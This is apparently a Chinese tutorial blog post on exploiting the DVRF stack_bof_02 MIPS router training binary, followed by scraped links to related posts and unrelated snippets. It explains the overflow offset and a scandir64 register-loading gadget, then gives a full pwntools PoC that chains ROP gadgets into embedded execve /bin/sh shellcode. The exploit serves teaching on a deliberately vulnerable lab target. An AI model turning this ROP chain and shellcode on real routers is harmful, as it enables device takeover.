前言


本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274


这次程序也是 DVRF 里面的,他的路径是 pwnable/ShellCode_Required/stack_bof_02 , 同样是一个简单的栈溢出,不过这个程序里面没有提供 getshell 的函数,需要我们执行shellcode来实现。这个正好实战下前文: 一步一步pwn路由器之路由器环境修复&&rop技术分析,中分析的在mips下的通用的rop技术。

正文

首先使用 qemu 运行目标程序,并等待 gdb 来调试。

sudo chroot . ./qemu-mipsel-static -g 1234 ./pwnable/ShellCode_Required/stack_bof_02  "`cat ./pwnable/Intro/input`"

使用pwntools的 cyclic 功能,找到偏移

验证一下:

payload = "A" * 508 + 'B' * 4

with open("input", "wb") as f:
f.write(payload)

OK, 现在我们已经可以控制程序的 $pc寄存器了,下一步就是利用的方法了。使用前文的那个 rop 链,我们需要可以控制 $s1寄存器。但是这里我们并没有办法控制。不过在 这里提到,在 uclibcscandir 或者 scandir64 的函数末尾有一个 gadgets 可以操控几乎所有寄存器。

.text:0000AFE0                 lw      $ra, 0x40+var_4($sp)
.text:0000AFE4 lw $fp, 0x40+var_8($sp)
.text:0000AFE8 lw $s7, 0x40+var_C($sp)
.text:0000AFEC lw $s6, 0x40+var_10($sp)
.text:0000AFF0 lw $s5, 0x40+var_14($sp)
.text:0000AFF4 lw $s4, 0x40+var_18($sp)
.text:0000AFF8 lw $s3, 0x40+var_1C($sp)
.text:0000AFFC lw $s2, 0x40+var_20($sp)
.text:0000B000 lw $s1, 0x40+var_24($sp)
.text:0000B004 lw $s0, 0x40+var_28($sp)
.text:0000B008 jr $ra
.text:0000B00C addiu $sp, 0x40
.text:0000B00C # End of function scandir64

于是利用的思路就很明确了。首先使用这段 rop gadgets 设置好寄存器,然后进入前文所说的 rop 链中执行。

最后的poc如下:

#!/usr/bin/python
from pwn import *
context.endian = "little"
context.arch = "mips" payload = "" # NOP sled (XOR $t0, $t0, $t0; as NOP is only null bytes)
for i in range(30):
payload += "\x26\x40\x08\x01" # execve shellcode translated from MIPS to MIPSEL
# http://shell-storm.org/shellcode/files/shellcode-792.php
payload += "\xff\xff\x06\x28" # slti $a2, $zero, -1
payload += "\x62\x69\x0f\x3c" # lui $t7, 0x6962
payload += "\x2f\x2f\xef\x35" # ori $t7, $t7, 0x2f2f
payload += "\xf4\xff\xaf\xaf" # sw $t7, -0xc($sp)
payload += "\x73\x68\x0e\x3c" # lui $t6, 0x6873
payload += "\x6e\x2f\xce\x35" # ori $t6, $t6, 0x2f6e
payload += "\xf8\xff\xae\xaf" # sw $t6, -8($sp)
payload += "\xfc\xff\xa0\xaf" # sw $zero, -4($sp)
payload += "\xf4\xff\xa4\x27" # addiu $a0, $sp, -0xc
payload += "\xff\xff\x05\x28" # slti $a1, $zero, -1
payload += "\xab\x0f\x02\x24" # addiu;$v0, $zero, 0xfab
payload += "\x0c\x01\x01\x01" # syscall 0x40404
shellcode = payload padding = "O" * 508
payload = padding
payload += p32(0x766effe0)
payload += 'B' * 0x18
payload += 'A' * 4 # $s0
payload += p32(0x7670303c) # $s1
payload += 'A' * 4 # $s2
payload += 'A' * 4 # $s3
payload += 'A' * 4 # $s4
payload += 'A' * 4 # $s5
payload += 'A' * 4 # $s6
payload += 'A' * 4 # $s7
payload += 'A' * 4 # $fp
payload += p32(0x76714b10) # $ra for jmp # stack for gadget 2
payload += 'B' * 0x18
payload += 'A' * 4 # $s0
payload += p32(0x0002F2B0 + 0x766e5000) # $s1
payload += 'A' * 4 # $s2
payload += p32(0x766fbdd0) # $ra # stack for gadget 2 for second
payload += 'B' * 0x18
payload += p32(0x767064a0) # $s0 for jmp stack
payload += p32(0x0002F2B0 + 0x766e5000) # $s1
payload += 'A' * 4 # $s2
payload += p32(0x766fbdd0) # $ra for get stack addr # stack for shellcode
payload += shellcode payload = "A" * 508 + 'B' * 4 with open("input", "wb") as f:
f.write(payload) # base 0x766e5000

可以执行完毕 shellcode , 不过执行完后就异常了。神奇。

总结

在调试rop时可以先在调试器中修改寄存器,内存数据来模拟实现,然后在写到脚本里面。

参考链接:

https://www.pnfsoftware.com/blog/firmware-exploitation-with-jeb-part-2/

一步一步pwn路由器之rop技术实战的更多相关文章

  1. 一步一步pwn路由器之radare2使用实战

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 前文讲了一些 radare2 的特性相关的操作方法.本文以一个 c ...

  2. 一步一步pwn路由器之wr940栈溢出漏洞分析与利用

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 这个是最近爆出来的漏洞,漏洞编号:CVE-2017-13772 固 ...

  3. CTF必备技能丨Linux Pwn入门教程——ROP技术(下)

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  4. CTF必备技能丨Linux Pwn入门教程——ROP技术(上)

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  5. 一步一步pwn路由器之路由器环境修复&&rop技术分析

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 拿到路由器的固件后,第一时间肯定是去运行目标程序,一般是web服务 ...

  6. 一步一步pwn路由器之环境搭建

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 正式进入路由器的世界了.感觉路由器这块就是固件提取,运行环境修复比 ...

  7. 一步一步pwn路由器之radare2使用全解

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 radare2 最近越来越流行,已经进入 github 前 25了 ...

  8. 一步一步pwn路由器之栈溢出实战

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 本文以 DVRF 中的第一个漏洞程序 stack_bof_01 为 ...

  9. 一步一步pwn路由器之uClibc中malloc&&free分析

    前言 本文由 本人 首发于 先知安全技术社区: https://xianzhi.aliyun.com/forum/user/5274 栈溢出告一段落.本文介绍下 uClibc 中的 malloc 和 ...

随机推荐

  1. VS2017.常量中有换行符

    1.VS中加入 “/utf-8” Qt中 也是加入“/utf-8”,加的地方注意下:在 pro文件中 ,这个位置加入: win32-msvc*:QMAKE_CXXFLAGS += /wd"4 ...

  2. Nginx 413 Request Entity Too Large

    用户上传图片的时候,报错. 发现,原来是图片太大导致. 咦?后台配置图片支持5M啊? 哦!原来是Nginx配置问题. Nginx默认支持1M的POST数据! 修改Nginx配置! 修改nginx.co ...

  3. GB18030 字符集

    gb18030 编辑 国家标准GB18030-2005<信息技术 中文编码字符集>是我国继GB2312-1980和GB13000.1-1993之后最重要的汉字编码标准,是我国计算机系统必须 ...

  4. Scratch—点亮生日蜡烛

    过生日是小朋友们创作Scratch作品经常会用到的素材,今天介绍使用一些基础技能来点亮生日蜡烛的实现方法. 1.角色设计只有三种:生日蛋糕.未点燃的蜡烛.已点燃的蜡烛. 2.未点燃的蜡烛:在程序启动时 ...

  5. Nginx学习笔记(二):Nginx 连接处理 / 负载均衡

    Connection 在 Nginx 中,connection 就是对 TCP 连接的封装,其中包括连接的 socket,读写事件   Nginx 处理连接流程: 解析配置文件,得到需要监听的端口和I ...

  6. spring-cloud搭建

    1.myApplicaion 启动服务类上层必须有一层包 2.报错 com.sun.jersey.api.client.ClientHandlerException: java.net.Connect ...

  7. 解决 org.apache.ibatis.binding.BindingException: Invalid bound statement (not found) 以及MyBatis批量加载xml映射文件的方式

    错误 org.apache.ibatis.binding.BindingException: Invalid bound statement (not found) 的出现,意味着项目需要xml文件来 ...

  8. 怎样通过混入(Mixin)实现多继承

    js不提供现成的多重继承的方法, 但可以通过Object.assign()来手动实现: function Father1(name){ this.name = name; } function Fat ...

  9. (三)ActiveMQ之发布- 订阅消息模式实现

    一.概念 发布者/订阅者模型支持向一个特定的消息主题发布消息.0或多个订阅者可能对接收来自特定消息主题的消息感兴趣.在这种模型下,发布者和订阅者彼此不知道对方.这种模式好比是匿名公告板.这种模式被概括 ...

  10. 【web】使用ionic搭建移动端项目 icon-radio 标签在ios下全部选中的问题

    这块css 导致的问题 .disable-pointer-events { pointer-events: none; }